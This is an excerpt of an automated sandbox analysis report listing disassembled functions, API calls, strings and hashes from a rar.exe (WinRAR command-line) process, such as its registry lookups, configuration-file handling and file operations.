Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 0a3e194f6cebac5f86c1304ccc162319d4eaa3fa86236cde3163cde75b4a1548
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 76417C24A0AA82E1FA429F12AE4097967A0BF45BD4F4901F7CC6D877A4DE7CF8579300

Function 00007FF6AA1DB0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6AA1DB110

Part of subcall function 00007FF6AA1DAA8C: __isa_available_init.LIBCMT ref: 00007FF6AA1DAAA9
Part of subcall function 00007FF6AA1DAA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF6AA1DAAAE

__scrt_fastfail.LIBCMT ref: 00007FF6AA1DB11E

Part of subcall function 00007FF6AA1DB52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6AA1DB548
Part of subcall function 00007FF6AA1DB52C: RtlCaptureContext.KERNEL32 ref: 00007FF6AA1DB571
Part of subcall function 00007FF6AA1DB52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6AA1DB58B
Part of subcall function 00007FF6AA1DB52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF6AA1DB5CC
Part of subcall function 00007FF6AA1DB52C: IsDebuggerPresent.KERNEL32 ref: 00007FF6AA1DB620
Part of subcall function 00007FF6AA1DB52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6AA1DB641
Part of subcall function 00007FF6AA1DB52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF6AA1DB64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6AA1DB12C
__scrt_fastfail.LIBCMT ref: 00007FF6AA1DB143
__scrt_release_startup_lock.LIBCMT ref: 00007FF6AA1DB1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6AA1DB1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6AA1DB1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF6AA1DB21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF6AA1DB239

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 1c977e5bb0b35cd39942883759b103812d53e898777c36dcbd471792b42d9054
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: F1314D11E0E283E5FA16AB24A5913B923D1AF55784F4400BBEA4ECB6D7DE6DEC07C240

Function 00007FF6AA1C4774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF6AA1C495D,?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C47DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF6AA1C495D,?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C4831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF6AA1C495D,?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C4853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF6AA1C495D,?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C48A6

Strings

Software\WinRAR\General, xrefs: 00007FF6AA1C47CD
LanguageFolder, xrefs: 00007FF6AA1C4806

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 1ab10900c490c9293b5b8afe0d788f01cbe5f70176ae2d2f92c4d3707c3f4ed9
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: 9931E32271AA81E1EB51DF21E8052BE6351FF84794F404272EE4D87B99EF6CD906C700

Function 00007FF6AA1B4398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B43D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B4402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF6AA1B43BC
AppData, xrefs: 00007FF6AA1B43F7

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: f05980d9d83ed74343c6a0244310feb7ee911bea0e0dc0c4dd5936b9bcfca47a
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 72116F26619741E1EB529F21E8005A97360FF84BC4F445176EA4E43756EE3CD806C700

Function 00007FF6AA187A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF6AA187BF3

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction ID: 03650d88d8166d30494b4e3a809dc382f25ac469b11ff2364c067007cd70cfd3
Opcode Fuzzy Hash: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction Fuzzy Hash: 1DE1E362A0AA92D5EB12DB24E084BFD27E5FB4978CF494576CE0D83785DF38E946C300

Function 00007FF6AA1A2574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6AA1A25B0
WriteFile.KERNEL32 ref: 00007FF6AA1A25F9
WriteFile.KERNELBASE ref: 00007FF6AA1A262E
GetLastError.KERNEL32 ref: 00007FF6AA1A2658
SetLastError.KERNEL32 ref: 00007FF6AA1A2689

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 1e79137ee4232d0bee9d2a78e0708f5fc35677f5baf0f920617faf4ae9545292
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: 5851B436B0A641D7EA65DF21E51437A6361FF54B84F040176DE8E87AA0DF3CE94BC600

Function 00007FF6AA1A1E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6AA1A1F4A
GetLastError.KERNEL32 ref: 00007FF6AA1A1F59
CreateFileW.KERNELBASE ref: 00007FF6AA1A1F99
GetLastError.KERNEL32 ref: 00007FF6AA1A1FA2
SetFileTime.KERNEL32 ref: 00007FF6AA1A1FF1

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: 0322803119e0d9ec8141d03b6b85cd74aff26cb3e3715ef3dd37e94b2b89c721
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: E0416872A0A68196FB618B24E4047B966A1AB447B8F00033ADE7D876C4DF7CC84ACB40

Function 00007FF6AA196AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA196C13

Strings

switches_%ls=, xrefs: 00007FF6AA196C03
switches=, xrefs: 00007FF6AA196B80
rar.ini, xrefs: 00007FF6AA196B37

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 7ea973c71a602197774d9dc10188e8e3576a759b385ee162f2322f7bdece65f1
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 0341932171A682E1EB12DF21D9111F963A0EF447A4F840577EA6E83AD6EF3CED56C310

Function 00007FF6AA1B7E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6AA1CB470: GetModuleHandleW.KERNEL32 ref: 00007FF6AA1CB488
Part of subcall function 00007FF6AA1CB470: GetProcAddress.KERNEL32 ref: 00007FF6AA1CB4A0
Part of subcall function 00007FF6AA1CB470: GetProcAddress.KERNEL32 ref: 00007FF6AA1CB4D5

Part of subcall function 00007FF6AA197A68: setbuf.LIBCMT ref: 00007FF6AA197A7B
Part of subcall function 00007FF6AA197A68: setbuf.LIBCMT ref: 00007FF6AA197A8F

SetErrorMode.KERNELBASE ref: 00007FF6AA1B7E5D
GetModuleHandleW.KERNEL32 ref: 00007FF6AA1B7E65

Part of subcall function 00007FF6AA1C48CC: GetVersionExW.KERNEL32(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C496A
Part of subcall function 00007FF6AA1C48CC: LoadLibraryExW.KERNELBASE(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C4993

new.LIBCMT ref: 00007FF6AA1B7EA8

Strings

rar.lng, xrefs: 00007FF6AA1B7E7D

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: f5f45c02768d803fe11a35ce9d04b870cc719eb69b462b359c900579caddd1c9
Instruction ID: beeedc7d1a5ff658db364a5f6c7df46bc3a066e756e9e834d0c867a604ed23f1
Opcode Fuzzy Hash: f5f45c02768d803fe11a35ce9d04b870cc719eb69b462b359c900579caddd1c9
Instruction Fuzzy Hash: E4418121E0F282E5FA16AB21A5111B963D1AF81754F4801BBD95ECB3D7CE2DEC07C754

Function 00007FF6AA1B40A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF6AA1B4432,?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B40C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1B40DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF6AA1B40F1

Part of subcall function 00007FF6AA1A3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6AA1B413F,?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1A34A0
Part of subcall function 00007FF6AA1A3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6AA1B413F,?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1A34D5

Strings

WinRAR, xrefs: 00007FF6AA1B410F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 0d1ef053722b3b10ba6d957fcdb754c44dcb6913c6080a5710205ea372130545
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: C5219626B09B42D0EA529F22F9501BA5361EF89BD4F085077DF0E87766EE3CDC468700

Function 00007FF6AA1E978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF6AA1E3CEF,?,?,00000000,00007FF6AA1E3CAA,?,?,00000000,00007FF6AA1E3FD9), ref: 00007FF6AA1E97A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6AA1E3CEF,?,?,00000000,00007FF6AA1E3CAA,?,?,00000000,00007FF6AA1E3FD9), ref: 00007FF6AA1E9807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6AA1E3CEF,?,?,00000000,00007FF6AA1E3CAA,?,?,00000000,00007FF6AA1E3FD9), ref: 00007FF6AA1E9841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6AA1E3CEF,?,?,00000000,00007FF6AA1E3CAA,?,?,00000000,00007FF6AA1E3FD9), ref: 00007FF6AA1E986B

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: 1097f99c54c7f5a89809b273d2f6eaedac68ac84e43511fe8ce50c2a4adffb94
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: 9A217121F0A795D1E6718F12A440139A6A8BF55BD0F08417ADE8EA3BA4EF3DD8528744

Function 00007FF6AA1A1C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF6AA1A21A7,00000000,00000028,?,00007FF6AA197792), ref: 00007FF6AA1A1C97
ReadFile.KERNELBASE ref: 00007FF6AA1A1CB6
GetLastError.KERNEL32 ref: 00007FF6AA1A1CEA
GetLastError.KERNEL32 ref: 00007FF6AA1A1D08

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

